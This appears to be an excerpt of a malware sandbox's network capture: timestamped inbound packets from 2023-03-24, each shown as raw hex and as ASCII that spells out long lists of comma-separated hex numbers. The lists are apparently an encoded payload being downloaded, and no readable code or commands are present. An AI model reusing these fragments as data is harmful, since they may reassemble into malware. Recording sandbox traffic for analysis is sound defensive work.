2023-03-24 00:27:19 UTC	1425	IN	Data Raw: 63 2c 38 31 2c 36 63 2c 63 38 2c 31 30 37 2c 61 62 2c 31 31 30 2c 64 66 2c 39 33 2c 66 66 2c 61 37 2c 66 64 2c 31 34 66 2c 31 33 61 2c 31 30 36 2c 63 34 2c 31 31 63 2c 36 38 2c 37 38 2c 65 66 2c 61 35 2c 65 66 2c 31 34 32 2c 62 36 2c 65 33 2c 31 34 38 2c 36 38 2c 61 65 2c 39 38 2c 62 33 2c 36 38 2c 62 30 2c 35 30 2c 66 61 2c 36 36 2c 38 61 2c 31 33 37 2c 31 34 34 2c 31 32 65 2c 31 31 64 2c 66 30 2c 31 32 32 2c 62 32 2c 35 39 2c 31 36 39 2c 66 65 2c 31 35 34 2c 62 37 2c 31 34 36 2c 31 32 38 2c 34 33 2c 38 39 2c 35 37 2c 37 39 2c 31 33 36 2c 36 61 2c 33 66 2c 36 65 2c 37 35 2c 64 62 2c 31 30 34 2c 31 31 39 2c 31 30 62 2c 66 62 2c 31 32 66 2c 31 33 33 2c 35 64 2c 66 33 2c 38 37 2c 35 66 2c 64 39 2c 61 62 2c 34 38 2c 36 31 2c 66 34 2c 31 32 38 2c 66 32 2c 39 Data Ascii: c,81,6c,c8,107,ab,110,df,93,ff,a7,fd,14f,13a,106,c4,11c,68,78,ef,a5,ef,142,b6,e3,148,68,ae,98,b3,68,b0,50,fa,66,8a,137,144,12e,11d,f0,122,b2,59,169,fe,154,b7,146,128,43,89,57,79,136,6a,3f,6e,75,db,104,119,10b,fb,12f,133,5d,f3,87,5f,d9,ab,48,61,f4,128,f2,9
2023-03-24 00:27:19 UTC	1441	IN	Data Raw: 36 2c 38 30 2c 37 36 2c 65 65 2c 36 35 2c 31 35 62 2c 31 31 35 2c 37 63 2c 36 31 2c 63 64 2c 38 34 2c 31 30 64 2c 64 65 2c 38 35 2c 31 37 38 2c 61 62 2c 31 35 62 2c 62 38 2c 64 30 2c 31 34 61 2c 64 62 2c 35 31 2c 35 62 2c 31 32 30 2c 31 32 63 2c 35 31 2c 61 34 2c 31 34 31 2c 34 34 2c 36 62 2c 35 64 2c 31 33 32 2c 31 36 32 2c 31 32 31 2c 31 30 64 2c 65 66 2c 63 34 2c 31 37 36 2c 62 65 2c 38 64 2c 31 31 30 2c 65 39 2c 31 32 61 2c 37 37 2c 66 66 2c 37 36 2c 31 34 66 2c 31 35 34 2c 31 35 36 2c 31 30 38 2c 63 38 2c 66 34 2c 64 62 2c 65 66 2c 31 30 37 2c 62 63 2c 31 30 66 2c 31 31 62 2c 64 36 2c 63 36 2c 62 39 2c 65 32 2c 66 32 2c 66 35 2c 31 35 38 2c 31 33 38 2c 35 61 2c 62 66 2c 62 61 2c 37 63 2c 37 39 2c 35 39 2c 62 31 2c 62 32 2c 39 37 2c 37 35 2c 38 39 2c Data Ascii: 6,80,76,ee,65,15b,115,7c,61,cd,84,10d,de,85,178,ab,15b,b8,d0,14a,db,51,5b,120,12c,51,a4,141,44,6b,5d,132,162,121,10d,ef,c4,176,be,8d,110,e9,12a,77,ff,76,14f,154,156,108,c8,f4,db,ef,107,bc,10f,11b,d6,c6,b9,e2,f2,f5,158,138,5a,bf,ba,7c,79,59,b1,b2,97,75,89,
2023-03-24 00:27:19 UTC	1457	IN	Data Raw: 2c 66 30 2c 31 32 34 2c 36 61 2c 31 35 35 2c 31 30 33 2c 31 32 66 2c 61 63 2c 65 65 2c 38 39 2c 66 32 2c 66 66 2c 64 32 2c 31 30 63 2c 65 33 2c 31 32 39 2c 61 30 2c 36 61 2c 65 33 2c 31 31 31 2c 31 32 63 2c 62 38 2c 65 31 2c 31 30 63 2c 38 31 2c 31 34 32 2c 66 37 2c 39 61 2c 31 33 38 2c 31 32 32 2c 38 62 2c 39 31 2c 62 38 2c 31 32 36 2c 31 33 31 2c 38 30 2c 31 32 36 2c 63 31 2c 31 30 65 2c 38 64 2c 37 30 2c 31 35 65 2c 65 32 2c 35 35 2c 31 30 39 2c 65 36 2c 36 38 2c 31 33 30 2c 36 38 2c 31 31 30 2c 31 33 63 2c 66 34 2c 39 32 2c 62 35 2c 66 65 2c 31 33 31 2c 36 34 2c 35 32 2c 61 30 2c 62 34 2c 39 62 2c 31 31 33 2c 63 66 2c 64 30 2c 31 31 62 2c 31 30 32 2c 39 64 2c 31 34 37 2c 61 65 2c 64 31 2c 36 36 2c 36 65 2c 63 30 2c 31 32 61 2c 31 31 61 2c 31 30 39 2c Data Ascii: ,f0,124,6a,155,103,12f,ac,ee,89,f2,ff,d2,10c,e3,129,a0,6a,e3,111,12c,b8,e1,10c,81,142,f7,9a,138,122,8b,91,b8,126,131,80,126,c1,10e,8d,70,15e,e2,55,109,e6,68,130,68,110,13c,f4,92,b5,fe,131,64,52,a0,b4,9b,113,cf,d0,11b,102,9d,147,ae,d1,66,6e,c0,12a,11a,109,
2023-03-24 00:27:19 UTC	1473	IN	Data Raw: 2c 39 33 2c 62 35 2c 66 34 2c 62 39 2c 31 32 39 2c 65 35 2c 66 31 2c 31 32 33 2c 31 31 64 2c 31 35 64 2c 39 36 2c 65 35 2c 31 32 34 2c 36 37 2c 31 32 34 2c 61 37 2c 36 61 2c 38 63 2c 35 61 2c 38 33 2c 31 31 32 2c 66 61 2c 31 31 35 2c 38 61 2c 64 34 2c 31 33 65 2c 31 32 63 2c 31 30 62 2c 62 65 2c 31 35 32 2c 31 30 65 2c 31 34 35 2c 37 37 2c 31 33 64 2c 31 34 39 2c 31 30 31 2c 31 32 61 2c 37 66 2c 36 35 2c 39 32 2c 31 34 63 2c 31 35 38 2c 31 33 34 2c 31 32 31 2c 66 63 2c 61 62 2c 66 30 2c 31 30 63 2c 31 31 61 2c 31 35 35 2c 61 65 2c 37 64 2c 35 38 2c 63 33 2c 31 32 39 2c 31 31 63 2c 31 32 62 2c 66 31 2c 31 33 34 2c 37 37 2c 62 37 2c 65 31 2c 62 65 2c 66 62 2c 64 66 2c 39 39 2c 62 37 2c 31 33 36 2c 35 37 2c 64 34 2c 36 61 2c 66 33 2c 64 36 2c 36 38 2c 61 39 Data Ascii: ,93,b5,f4,b9,129,e5,f1,123,11d,15d,96,e5,124,67,124,a7,6a,8c,5a,83,112,fa,115,8a,d4,13e,12c,10b,be,152,10e,145,77,13d,149,101,12a,7f,65,92,14c,158,134,121,fc,ab,f0,10c,11a,155,ae,7d,58,c3,129,11c,12b,f1,134,77,b7,e1,be,fb,df,99,b7,136,57,d4,6a,f3,d6,68,a9
2023-03-24 00:27:19 UTC	1489	IN	Data Raw: 62 2c 63 65 2c 63 30 2c 31 34 63 2c 37 64 2c 65 31 2c 31 31 35 2c 64 63 2c 35 65 2c 62 62 2c 39 64 2c 61 31 2c 65 30 2c 31 31 39 2c 31 33 34 2c 39 38 2c 62 37 2c 65 61 2c 66 33 2c 31 34 66 2c 38 61 2c 31 32 66 2c 65 37 2c 39 31 2c 34 31 2c 64 66 2c 34 66 2c 36 65 2c 31 33 39 2c 36 36 2c 37 33 2c 33 63 2c 31 30 63 2c 62 33 2c 36 63 2c 31 31 33 2c 64 61 2c 31 32 30 2c 36 38 2c 63 34 2c 63 63 2c 31 33 32 2c 61 31 2c 31 30 61 2c 38 64 2c 31 33 64 2c 31 32 39 2c 31 30 31 2c 64 64 2c 31 31 34 2c 36 34 2c 65 37 2c 66 32 2c 31 33 62 2c 66 30 2c 34 39 2c 62 32 2c 66 61 2c 63 34 2c 39 39 2c 31 30 37 2c 63 66 2c 31 34 65 2c 33 64 2c 31 33 64 2c 64 39 2c 31 32 62 2c 39 31 2c 31 32 35 2c 39 61 2c 31 33 63 2c 63 33 2c 36 39 2c 37 62 2c 33 38 2c 31 30 39 2c 31 35 33 2c Data Ascii: b,ce,c0,14c,7d,e1,115,dc,5e,bb,9d,a1,e0,119,134,98,b7,ea,f3,14f,8a,12f,e7,91,41,df,4f,6e,139,66,73,3c,10c,b3,6c,113,da,120,68,c4,cc,132,a1,10a,8d,13d,129,101,dd,114,64,e7,f2,13b,f0,49,b2,fa,c4,99,107,cf,14e,3d,13d,d9,12b,91,125,9a,13c,c3,69,7b,38,109,153,
2023-03-24 00:27:19 UTC	1505	IN	Data Raw: 36 30 2c 64 62 2c 37 38 2c 36 35 2c 31 30 36 2c 38 66 2c 31 30 30 2c 31 32 39 2c 65 39 2c 61 37 2c 31 30 35 2c 31 33 37 2c 31 34 34 2c 31 31 65 2c 31 32 65 2c 31 34 32 2c 35 64 2c 31 31 66 2c 31 31 33 2c 31 34 36 2c 64 31 2c 31 31 63 2c 66 36 2c 31 32 31 2c 61 35 2c 63 30 2c 63 39 2c 65 31 2c 31 34 32 2c 63 30 2c 63 61 2c 63 35 2c 63 35 2c 65 30 2c 65 65 2c 35 36 2c 63 31 2c 37 30 2c 64 65 2c 31 32 32 2c 31 34 37 2c 36 66 2c 62 37 2c 62 36 2c 31 32 31 2c 63 66 2c 38 35 2c 61 64 2c 31 30 30 2c 62 62 2c 37 33 2c 65 31 2c 31 30 31 2c 31 32 33 2c 31 35 30 2c 31 33 32 2c 31 32 65 2c 35 38 2c 31 31 30 2c 66 32 2c 31 33 64 2c 31 31 31 2c 62 63 2c 63 30 2c 62 63 2c 31 31 34 2c 61 31 2c 65 34 2c 31 31 39 2c 66 36 2c 31 34 32 2c 36 61 2c 31 32 33 2c 61 61 2c 34 36 Data Ascii: 60,db,78,65,106,8f,100,129,e9,a7,105,137,144,11e,12e,142,5d,11f,113,146,d1,11c,f6,121,a5,c0,c9,e1,142,c0,ca,c5,c5,e0,ee,56,c1,70,de,122,147,6f,b7,b6,121,cf,85,ad,100,bb,73,e1,101,123,150,132,12e,58,110,f2,13d,111,bc,c0,bc,114,a1,e4,119,f6,142,6a,123,aa,46
2023-03-24 00:27:19 UTC	1521	IN	Data Raw: 30 66 2c 31 35 34 2c 62 35 2c 31 31 31 2c 37 33 2c 63 38 2c 31 32 36 2c 66 35 2c 31 36 37 2c 31 36 34 2c 63 35 2c 35 33 2c 31 30 62 2c 64 37 2c 31 31 65 2c 31 33 30 2c 63 37 2c 31 32 30 2c 31 33 30 2c 34 61 2c 34 30 2c 31 32 66 2c 35 38 2c 64 62 2c 66 36 2c 31 30 36 2c 39 37 2c 31 30 35 2c 64 61 2c 31 31 65 2c 61 35 2c 31 32 38 2c 39 36 2c 36 33 2c 35 61 2c 64 36 2c 65 34 2c 31 32 63 2c 37 32 2c 66 66 2c 66 62 2c 65 30 2c 37 61 2c 36 66 2c 64 32 2c 31 33 34 2c 33 37 2c 64 62 2c 62 35 2c 31 36 35 2c 31 34 38 2c 31 30 31 2c 31 32 64 2c 66 31 2c 38 33 2c 61 36 2c 64 30 2c 39 65 2c 37 33 2c 64 32 2c 35 30 2c 38 35 2c 31 31 66 2c 31 30 32 2c 31 31 64 2c 31 34 63 2c 39 35 2c 35 30 2c 38 35 2c 31 33 32 2c 31 30 35 2c 31 30 30 2c 31 37 32 2c 36 64 2c 62 32 2c 36 Data Ascii: 0f,154,b5,111,73,c8,126,f5,167,164,c5,53,10b,d7,11e,130,c7,120,130,4a,40,12f,58,db,f6,106,97,105,da,11e,a5,128,96,63,5a,d6,e4,12c,72,ff,fb,e0,7a,6f,d2,134,37,db,b5,165,148,101,12d,f1,83,a6,d0,9e,73,d2,50,85,11f,102,11d,14c,95,50,85,132,105,100,172,6d,b2,6
2023-03-24 00:27:19 UTC	1537	IN	Data Raw: 31 32 30 2c 31 32 34 2c 65 39 2c 31 30 64 2c 61 35 2c 33 32 2c 37 65 2c 31 30 38 2c 31 32 36 2c 31 36 37 2c 38 33 2c 61 66 2c 63 37 2c 31 35 39 2c 31 31 63 2c 31 31 32 2c 31 32 33 2c 39 36 2c 39 36 2c 31 31 37 2c 66 32 2c 39 32 2c 61 39 2c 35 38 2c 37 62 2c 31 34 34 2c 66 37 2c 31 33 35 2c 31 32 31 2c 64 34 2c 63 37 2c 35 39 2c 66 39 2c 65 62 2c 64 37 2c 63 62 2c 65 64 2c 66 33 2c 31 33 38 2c 35 39 2c 31 31 65 2c 65 33 2c 37 39 2c 31 31 39 2c 37 31 2c 66 36 2c 62 64 2c 31 30 35 2c 31 34 66 2c 31 31 31 2c 37 65 2c 31 34 64 2c 37 37 2c 37 34 2c 62 64 2c 39 64 2c 31 33 61 2c 31 34 33 2c 66 64 2c 36 62 2c 66 34 2c 31 32 35 2c 64 61 2c 38 32 2c 65 62 2c 63 63 2c 66 63 2c 31 31 62 2c 38 34 2c 62 37 2c 36 62 2c 31 33 32 2c 36 37 2c 38 34 2c 65 65 2c 31 30 36 2c Data Ascii: 120,124,e9,10d,a5,32,7e,108,126,167,83,af,c7,159,11c,112,123,96,96,117,f2,92,a9,58,7b,144,f7,135,121,d4,c7,59,f9,eb,d7,cb,ed,f3,138,59,11e,e3,79,119,71,f6,bd,105,14f,111,7e,14d,77,74,bd,9d,13a,143,fd,6b,f4,125,da,82,eb,cc,fc,11b,84,b7,6b,132,67,84,ee,106,
2023-03-24 00:27:19 UTC	1553	IN	Data Raw: 63 33 2c 31 31 38 2c 65 34 2c 31 32 61 2c 37 62 2c 63 37 2c 38 38 2c 31 36 34 2c 36 36 2c 38 64 2c 36 36 2c 64 30 2c 31 30 34 2c 66 36 2c 63 61 2c 35 62 2c 61 35 2c 31 34 37 2c 31 34 65 2c 31 34 32 2c 66 34 2c 31 30 39 2c 39 37 2c 37 33 2c 66 35 2c 31 33 31 2c 63 36 2c 66 33 2c 31 35 65 2c 63 34 2c 37 61 2c 64 65 2c 31 32 36 2c 64 30 2c 31 34 65 2c 61 30 2c 64 30 2c 37 38 2c 31 30 31 2c 64 62 2c 35 63 2c 34 64 2c 66 65 2c 39 39 2c 65 63 2c 31 36 38 2c 31 31 63 2c 61 39 2c 62 35 2c 31 34 32 2c 31 33 63 2c 37 65 2c 31 33 65 2c 66 65 2c 31 31 65 2c 31 32 64 2c 31 31 39 2c 31 34 65 2c 31 35 37 2c 31 35 30 2c 38 61 2c 31 31 61 2c 63 31 2c 63 35 2c 63 63 2c 38 36 2c 35 38 2c 31 34 34 2c 36 36 2c 31 30 65 2c 37 63 2c 64 37 2c 65 65 2c 64 63 2c 31 33 39 2c 31 31 Data Ascii: c3,118,e4,12a,7b,c7,88,164,66,8d,66,d0,104,f6,ca,5b,a5,147,14e,142,f4,109,97,73,f5,131,c6,f3,15e,c4,7a,de,126,d0,14e,a0,d0,78,101,db,5c,4d,fe,99,ec,168,11c,a9,b5,142,13c,7e,13e,fe,11e,12d,119,14e,157,150,8a,11a,c1,c5,cc,86,58,144,66,10e,7c,d7,ee,dc,139,11
2023-03-24 00:27:19 UTC	1569	IN	Data Raw: 39 2c 63 63 2c 31 31 65 2c 36 37 2c 64 34 2c 31 34 39 2c 31 32 32 2c 31 33 63 2c 63 34 2c 62 66 2c 31 30 33 2c 63 35 2c 38 37 2c 31 31 66 2c 64 32 2c 31 33 35 2c 61 30 2c 36 66 2c 31 31 34 2c 66 32 2c 38 64 2c 33 66 2c 39 38 2c 31 31 37 2c 31 33 66 2c 37 34 2c 61 39 2c 31 32 61 2c 39 34 2c 35 64 2c 31 31 62 2c 31 31 35 2c 65 39 2c 63 63 2c 63 38 2c 39 61 2c 62 66 2c 66 64 2c 31 33 65 2c 31 37 31 2c 62 33 2c 64 31 2c 35 63 2c 38 63 2c 39 33 2c 62 62 2c 31 30 36 2c 63 34 2c 31 33 64 2c 31 32 38 2c 33 65 2c 38 61 2c 62 36 2c 66 39 2c 61 37 2c 37 30 2c 63 66 2c 31 35 34 2c 31 30 64 2c 37 62 2c 64 37 2c 61 37 2c 31 32 66 2c 61 37 2c 65 33 2c 63 36 2c 61 65 2c 64 30 2c 39 31 2c 62 66 2c 61 33 2c 63 39 2c 31 30 65 2c 35 66 2c 31 33 32 2c 63 66 2c 31 32 39 2c 37 Data Ascii: 9,cc,11e,67,d4,149,122,13c,c4,bf,103,c5,87,11f,d2,135,a0,6f,114,f2,8d,3f,98,117,13f,74,a9,12a,94,5d,11b,115,e9,cc,c8,9a,bf,fd,13e,171,b3,d1,5c,8c,93,bb,106,c4,13d,128,3e,8a,b6,f9,a7,70,cf,154,10d,7b,d7,a7,12f,a7,e3,c6,ae,d0,91,bf,a3,c9,10e,5f,132,cf,129,7
2023-03-24 00:27:19 UTC	1585	IN	Data Raw: 2c 31 30 35 2c 31 32 36 2c 31 32 39 2c 62 66 2c 31 34 36 2c 66 61 2c 39 35 2c 31 33 30 2c 65 38 2c 64 31 2c 37 62 2c 31 33 35 2c 63 35 2c 38 65 2c 31 33 32 2c 31 31 62 2c 61 63 2c 38 30 2c 31 30 61 2c 31 32 62 2c 62 35 2c 31 36 64 2c 39 31 2c 63 39 2c 36 30 2c 66 36 2c 31 31 35 2c 31 33 39 2c 31 31 36 2c 31 32 63 2c 31 32 39 2c 36 61 2c 35 63 2c 38 64 2c 31 33 63 2c 31 33 33 2c 31 34 39 2c 35 30 2c 62 33 2c 31 31 38 2c 64 66 2c 63 38 2c 31 31 65 2c 37 32 2c 64 39 2c 31 31 61 2c 31 32 63 2c 31 31 66 2c 39 63 2c 61 62 2c 65 64 2c 64 31 2c 62 62 2c 61 30 2c 31 34 66 2c 31 31 38 2c 31 31 37 2c 65 37 2c 31 30 32 2c 63 37 2c 62 32 2c 39 37 2c 31 36 36 2c 31 30 32 2c 31 32 37 2c 31 32 64 2c 31 35 34 2c 31 31 37 2c 63 63 2c 36 37 2c 63 37 2c 31 34 65 2c 31 35 31 Data Ascii: ,105,126,129,bf,146,fa,95,130,e8,d1,7b,135,c5,8e,132,11b,ac,80,10a,12b,b5,16d,91,c9,60,f6,115,139,116,12c,129,6a,5c,8d,13c,133,149,50,b3,118,df,c8,11e,72,d9,11a,12c,11f,9c,ab,ed,d1,bb,a0,14f,118,117,e7,102,c7,b2,97,166,102,127,12d,154,117,cc,67,c7,14e,151
2023-03-24 00:27:19 UTC	1601	IN	Data Raw: 31 30 39 2c 32 64 2c 36 33 2c 64 64 2c 31 34 35 2c 31 31 37 2c 65 38 2c 31 36 34 2c 63 33 2c 31 32 35 2c 62 66 2c 31 30 61 2c 31 31 32 2c 62 36 2c 31 34 32 2c 66 64 2c 31 30 66 2c 31 32 37 2c 61 38 2c 34 66 2c 64 32 2c 37 32 2c 31 34 65 2c 66 61 2c 65 62 2c 63 32 2c 31 34 37 2c 64 63 2c 31 35 35 2c 62 66 2c 37 33 2c 37 39 2c 64 39 2c 62 61 2c 31 30 38 2c 37 36 2c 65 65 2c 63 38 2c 39 39 2c 66 36 2c 35 63 2c 65 35 2c 31 30 64 2c 31 31 65 2c 61 34 2c 61 37 2c 31 30 38 2c 31 32 37 2c 34 66 2c 31 31 64 2c 31 33 30 2c 62 39 2c 34 62 2c 31 31 66 2c 31 34 36 2c 61 36 2c 61 35 2c 37 66 2c 31 32 62 2c 31 32 38 2c 31 31 34 2c 65 31 2c 37 61 2c 63 34 2c 31 32 61 2c 31 30 39 2c 36 62 2c 66 63 2c 61 64 2c 66 39 2c 31 31 65 2c 39 31 2c 31 32 32 2c 66 34 2c 63 36 2c 37 Data Ascii: 109,2d,63,dd,145,117,e8,164,c3,125,bf,10a,112,b6,142,fd,10f,127,a8,4f,d2,72,14e,fa,eb,c2,147,dc,155,bf,73,79,d9,ba,108,76,ee,c8,99,f6,5c,e5,10d,11e,a4,a7,108,127,4f,11d,130,b9,4b,11f,146,a6,a5,7f,12b,128,114,e1,7a,c4,12a,109,6b,fc,ad,f9,11e,91,122,f4,c6,7
2023-03-24 00:27:19 UTC	1617	IN	Data Raw: 38 63 2c 37 39 2c 31 30 62 2c 61 64 2c 37 37 2c 31 33 33 2c 31 31 38 2c 39 37 2c 61 37 2c 65 35 2c 64 36 2c 63 38 2c 36 31 2c 35 37 2c 63 30 2c 65 32 2c 66 31 2c 31 34 37 2c 31 33 32 2c 66 66 2c 38 39 2c 31 33 34 2c 64 38 2c 39 36 2c 31 33 63 2c 63 31 2c 37 39 2c 31 34 34 2c 35 30 2c 31 31 37 2c 31 32 31 2c 31 30 34 2c 62 34 2c 62 39 2c 31 32 61 2c 38 38 2c 31 35 33 2c 31 30 65 2c 38 63 2c 31 32 65 2c 31 32 65 2c 38 30 2c 31 33 35 2c 37 64 2c 38 30 2c 31 31 65 2c 31 35 31 2c 31 33 38 2c 61 30 2c 31 37 38 2c 31 35 36 2c 31 34 32 2c 31 31 31 2c 65 33 2c 31 31 39 2c 31 31 61 2c 31 31 36 2c 35 38 2c 37 33 2c 31 30 34 2c 62 30 2c 63 31 2c 65 66 2c 66 33 2c 36 62 2c 31 33 34 2c 37 63 2c 61 34 2c 61 39 2c 34 37 2c 62 65 2c 31 32 36 2c 39 35 2c 31 30 62 2c 36 64 Data Ascii: 8c,79,10b,ad,77,133,118,97,a7,e5,d6,c8,61,57,c0,e2,f1,147,132,ff,89,134,d8,96,13c,c1,79,144,50,117,121,104,b4,b9,12a,88,153,10e,8c,12e,12e,80,135,7d,80,11e,151,138,a0,178,156,142,111,e3,119,11a,116,58,73,104,b0,c1,ef,f3,6b,134,7c,a4,a9,47,be,126,95,10b,6d
2023-03-24 00:27:19 UTC	1633	IN	Data Raw: 31 34 64 2c 37 66 2c 39 62 2c 31 35 36 2c 64 65 2c 31 30 66 2c 61 39 2c 61 32 2c 65 63 2c 36 34 2c 37 62 2c 31 33 35 2c 61 32 2c 31 34 65 2c 38 62 2c 35 38 2c 31 35 63 2c 34 38 2c 31 31 66 2c 37 64 2c 39 64 2c 61 34 2c 31 33 32 2c 66 35 2c 66 62 2c 31 32 38 2c 31 32 61 2c 65 34 2c 31 31 38 2c 31 34 39 2c 36 36 2c 31 31 62 2c 31 34 32 2c 63 65 2c 36 31 2c 31 35 39 2c 31 35 62 2c 31 30 38 2c 64 63 2c 31 33 35 2c 66 61 2c 31 32 39 2c 63 61 2c 62 39 2c 31 35 61 2c 35 63 2c 38 30 2c 34 64 2c 38 35 2c 66 32 2c 36 38 2c 39 38 2c 31 31 38 2c 31 33 63 2c 31 34 35 2c 36 36 2c 38 30 2c 61 62 2c 31 34 38 2c 31 35 34 2c 31 33 31 2c 37 33 2c 36 37 2c 66 30 2c 31 33 63 2c 31 33 63 2c 31 30 64 2c 37 61 2c 31 32 32 2c 31 31 61 2c 62 37 2c 65 63 2c 39 31 2c 31 30 35 2c 64 Data Ascii: 14d,7f,9b,156,de,10f,a9,a2,ec,64,7b,135,a2,14e,8b,58,15c,48,11f,7d,9d,a4,132,f5,fb,128,12a,e4,118,149,66,11b,142,ce,61,159,15b,108,dc,135,fa,129,ca,b9,15a,5c,80,4d,85,f2,68,98,118,13c,145,66,80,ab,148,154,131,73,67,f0,13c,13c,10d,7a,122,11a,b7,ec,91,105,d
2023-03-24 00:27:19 UTC	1649	IN	Data Raw: 31 36 32 2c 38 32 2c 37 31 2c 64 38 2c 31 31 62 2c 65 36 2c 31 33 32 2c 38 63 2c 38 30 2c 31 30 35 2c 38 39 2c 66 38 2c 38 62 2c 62 65 2c 36 61 2c 39 63 2c 65 39 2c 65 65 2c 65 35 2c 39 31 2c 66 35 2c 31 31 35 2c 61 31 2c 65 62 2c 35 63 2c 39 31 2c 37 64 2c 37 37 2c 62 63 2c 61 38 2c 62 34 2c 65 65 2c 39 62 2c 39 35 2c 31 31 38 2c 36 61 2c 31 33 61 2c 61 33 2c 31 33 64 2c 31 31 37 2c 64 30 2c 38 65 2c 36 35 2c 36 31 2c 64 37 2c 64 62 2c 31 34 37 2c 37 31 2c 64 65 2c 31 31 34 2c 31 32 33 2c 33 34 2c 31 34 37 2c 66 39 2c 31 30 39 2c 36 61 2c 62 62 2c 64 30 2c 31 34 35 2c 37 31 2c 64 34 2c 63 38 2c 31 30 34 2c 31 34 33 2c 31 35 39 2c 66 34 2c 36 34 2c 31 32 34 2c 37 38 2c 31 31 36 2c 36 66 2c 61 39 2c 36 34 2c 31 31 37 2c 65 36 2c 36 66 2c 31 31 35 2c 31 34 Data Ascii: 162,82,71,d8,11b,e6,132,8c,80,105,89,f8,8b,be,6a,9c,e9,ee,e5,91,f5,115,a1,eb,5c,91,7d,77,bc,a8,b4,ee,9b,95,118,6a,13a,a3,13d,117,d0,8e,65,61,d7,db,147,71,de,114,123,34,147,f9,109,6a,bb,d0,145,71,d4,c8,104,143,159,f4,64,124,78,116,6f,a9,64,117,e6,6f,115,14
2023-03-24 00:27:19 UTC	1665	IN	Data Raw: 65 31 2c 35 37 2c 31 34 35 2c 38 34 2c 31 32 36 2c 63 31 2c 61 33 2c 31 36 34 2c 31 31 39 2c 31 32 36 2c 33 63 2c 31 35 64 2c 31 32 65 2c 37 38 2c 65 31 2c 39 62 2c 31 31 38 2c 63 33 2c 31 33 33 2c 39 35 2c 31 32 64 2c 63 33 2c 66 33 2c 31 31 32 2c 35 64 2c 31 33 33 2c 34 30 2c 31 31 39 2c 31 30 30 2c 63 34 2c 31 35 35 2c 62 31 2c 62 37 2c 64 61 2c 31 36 65 2c 31 30 34 2c 62 38 2c 31 30 33 2c 37 36 2c 66 37 2c 31 30 65 2c 31 30 66 2c 65 34 2c 62 38 2c 35 39 2c 63 31 2c 38 65 2c 61 63 2c 65 31 2c 31 33 65 2c 64 33 2c 62 64 2c 35 37 2c 31 31 66 2c 31 30 36 2c 31 34 64 2c 31 35 31 2c 31 30 36 2c 34 38 2c 66 36 2c 31 31 61 2c 62 34 2c 66 36 2c 66 39 2c 39 63 2c 37 63 2c 39 64 2c 38 31 2c 65 64 2c 31 32 65 2c 39 31 2c 39 33 2c 62 35 2c 36 62 2c 37 36 2c 61 62 Data Ascii: e1,57,145,84,126,c1,a3,164,119,126,3c,15d,12e,78,e1,9b,118,c3,133,95,12d,c3,f3,112,5d,133,40,119,100,c4,155,b1,b7,da,16e,104,b8,103,76,f7,10e,10f,e4,b8,59,c1,8e,ac,e1,13e,d3,bd,57,11f,106,14d,151,106,48,f6,11a,b4,f6,f9,9c,7c,9d,81,ed,12e,91,93,b5,6b,76,ab
2023-03-24 00:27:19 UTC	1681	IN	Data Raw: 32 35 2c 31 33 31 2c 65 30 2c 38 35 2c 61 33 2c 66 62 2c 65 38 2c 61 36 2c 36 39 2c 31 35 62 2c 31 35 36 2c 38 37 2c 61 34 2c 63 64 2c 65 35 2c 64 64 2c 37 65 2c 35 38 2c 38 37 2c 63 65 2c 34 39 2c 66 36 2c 31 34 34 2c 31 32 33 2c 62 37 2c 38 63 2c 64 33 2c 66 35 2c 31 36 36 2c 36 32 2c 31 31 35 2c 35 65 2c 31 35 30 2c 31 30 37 2c 61 64 2c 35 38 2c 66 38 2c 33 34 2c 31 33 65 2c 34 31 2c 39 66 2c 39 36 2c 66 35 2c 31 31 61 2c 38 62 2c 66 66 2c 38 37 2c 31 31 34 2c 62 65 2c 31 31 38 2c 64 66 2c 31 30 35 2c 63 61 2c 63 66 2c 31 30 62 2c 36 34 2c 65 64 2c 31 30 30 2c 31 30 34 2c 39 66 2c 31 34 64 2c 35 30 2c 39 33 2c 63 30 2c 31 35 61 2c 38 63 2c 62 65 2c 64 65 2c 37 65 2c 66 30 2c 39 61 2c 31 30 62 2c 38 30 2c 39 32 2c 64 32 2c 31 36 30 2c 39 64 2c 31 32 63 Data Ascii: 25,131,e0,85,a3,fb,e8,a6,69,15b,156,87,a4,cd,e5,dd,7e,58,87,ce,49,f6,144,123,b7,8c,d3,f5,166,62,115,5e,150,107,ad,58,f8,34,13e,41,9f,96,f5,11a,8b,ff,87,114,be,118,df,105,ca,cf,10b,64,ed,100,104,9f,14d,50,93,c0,15a,8c,be,de,7e,f0,9a,10b,80,92,d2,160,9d,12c
2023-03-24 00:27:19 UTC	1697	IN	Data Raw: 39 2c 37 37 2c 61 38 2c 38 65 2c 61 62 2c 31 33 31 2c 35 39 2c 36 33 2c 66 36 2c 31 34 61 2c 66 35 2c 31 30 35 2c 31 35 32 2c 31 31 35 2c 31 31 64 2c 38 38 2c 34 66 2c 35 66 2c 62 30 2c 66 32 2c 31 33 36 2c 35 36 2c 66 39 2c 31 33 39 2c 35 61 2c 31 30 32 2c 38 64 2c 31 34 62 2c 63 62 2c 31 33 66 2c 34 31 2c 61 33 2c 66 66 2c 34 38 2c 35 62 2c 65 61 2c 31 30 63 2c 31 34 66 2c 66 62 2c 36 35 2c 65 34 2c 31 35 33 2c 31 33 32 2c 38 33 2c 65 33 2c 62 61 2c 66 32 2c 31 33 62 2c 39 62 2c 39 36 2c 31 34 37 2c 37 31 2c 31 34 66 2c 64 38 2c 62 35 2c 62 36 2c 31 31 63 2c 39 65 2c 64 31 2c 31 32 64 2c 31 31 66 2c 31 31 36 2c 33 65 2c 37 32 2c 61 34 2c 31 30 62 2c 31 32 64 2c 38 65 2c 62 31 2c 61 35 2c 38 33 2c 31 33 64 2c 31 33 65 2c 63 34 2c 66 63 2c 35 65 2c 31 32 Data Ascii: 9,77,a8,8e,ab,131,59,63,f6,14a,f5,105,152,115,11d,88,4f,5f,b0,f2,136,56,f9,139,5a,102,8d,14b,cb,13f,41,a3,ff,48,5b,ea,10c,14f,fb,65,e4,153,132,83,e3,ba,f2,13b,9b,96,147,71,14f,d8,b5,b6,11c,9e,d1,12d,11f,116,3e,72,a4,10b,12d,8e,b1,a5,83,13d,13e,c4,fc,5e,12
